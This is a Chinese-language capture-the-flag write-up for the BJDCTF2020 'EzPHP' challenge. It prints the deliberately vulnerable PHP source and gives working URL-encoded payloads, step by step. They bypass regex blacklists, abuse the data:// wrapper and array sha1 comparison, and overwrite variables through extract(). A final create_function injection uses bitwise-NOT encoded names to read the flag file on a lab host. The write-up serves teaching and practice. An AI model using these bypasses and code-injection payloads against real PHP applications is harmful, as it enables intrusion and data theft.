[BJDCTF2020]EzPHP
[BJDCTF2020]EzPHP
考点
$_SERVER
获取HTTP传入参数的脆弱性preg_match
脆弱性PHP伪协议bypass 字符串相同限制
create_function创建匿名函数
PHP7 取反bypass代码执行
wp
F12给了提示,base32
解码得到1nD3x.php


访问得到源码
<?php
highlight_file(__FILE__);
error_reporting(0);
$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';
echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";
if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
第一个preg_match
在第15行
$_SERVER['QUERY_STRING']
返回请求的参数和内容,访问http://ip:port/1nD3x.php?shana=1&passwd=2
会返回shana=1&passwd=2
,请求的参数有黑名单
绕过$_SERVER['QUERY_STRING']
不会对传入键值对进行解码,可以用URL编码绕过
第二个preg_match
在第20行
GET请求的file参数不包含http或https
第三个preg_match
在第21行
GET请求的debu参数必须是aqua_is_cute且不是aqua_is_cute
绕过preg_match
在非/s
模式下,会忽略末尾的%0a,所以末尾加上%0a即可
file=padding&debu=aqua_is_cute
%66%69%6c%65=%70%61%64%64%69%6e%67&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a
第四个preg_match
在第29行
$_REQUEST获取所有GET和POST传入的参数和值,并以数组形式返回。
比如POST请求http://ip:port/?a=1&d=4 POST b=2
会返回array(3) { 'a' => string(1) "1" 'd' => string(1) "4" 'b' => string(1) "2" }
要求请求的值不含有英文字符
绕过$_REQUEST获取的参数默认POST优先级大于GET,所以POST再传入file=1&debu=2
第34行if
语句要求file_get_contents($file)
的内容必须为debu_debu_aqua
绕过这个有两种方式绕过,一个是php://input
加POST debu_debu_aqua
,很明显不行
另一个就是file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute
%66%69%6c%65=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a
第38行if
语句要求传入的shana和passwd值不同且sha1相同
绕过用数组绕过
file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute&passwd[]=1&shana[]=2
%66%69%6c%65=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%70%61%73%73%77%64[]=%31&%73%68%61%6e%61[]=%32
这里不需要再POST参数,因为GET传的是数组,第四个preg_match
的$value也是个数组,preg_match
遇到数组会报错
然后extract($_GET["flag"]);
存在变量覆盖
第五个preg_match
在第45行 i不区分大小写 s视为单行,匹配换行符 D让$总是匹配字符串的末尾
$arg有黑名单,$code不能由纯英文数字组成,必须形如var_dump print_r
这里使用变量覆盖对$code和$arg赋值
$code('', $arg);
这种形式就是create_function()创建匿名函数,它会创建一个函数名为\000lambda_(count(anonymous_functions)++)
,如\000lambda_1
,的匿名函数,第一个参数为匿名函数的参数,第二个函数为代码
create_function('$a,$b', $arg)
eval(
\000lambda_1($a,$b){
$arg
}
)
$arg的黑名单有pi * sess head 根据无参RCE的思路能用的只剩get_defined_vars()
根据代码执行还可以用取反
所以在本题就是code=create_function arg=}var_dump(get_defined_vars());//
或者arg=}(~%8F%97%8F%96%91%99%90)();//
eval(
\000lambda_1(){
}var_dump(get_defined_vars());//
}
)
file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute&passwd[]=1&shana[]=2&flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//
%66%69%6c%65=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%70%61%73%73%77%64[]=%31&%73%68%61%6e%61[]=%32&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//


读取rea1fl4g.php
readfile('rea1fl4g.php')
取反
http://31e9b523-a95b-4c3a-8bd6-0a322f1d383f.node4.buuoj.cn:81/1nD3x.php?%66%69%6c%65=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%70%61%73%73%77%64[]=%31&%73%68%61%6e%61[]=%32&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=}(~%8D%9A%9E%9B%99%96%93%9A)((~%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));//
file=1&debu=2
小结
$_SERVER['QUERY_STRING']
不会对传入键值对进行解码,可以用URL编码绕过create_function()创建匿名函数,它会创建一个函数名为
\000lambda_(count(anonymous_functions)++)
,如\000lambda_1
,的匿名函数,第一个参数为匿名函数的参数,第二个函数为代码伪协议绕过字符串限制,一个是
php://input
加POSTdebu_debu_aqua
,另一个就是
file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute
preg_match
在非/s
模式下,会忽略末尾的%0apreg_match
传入数组会报错
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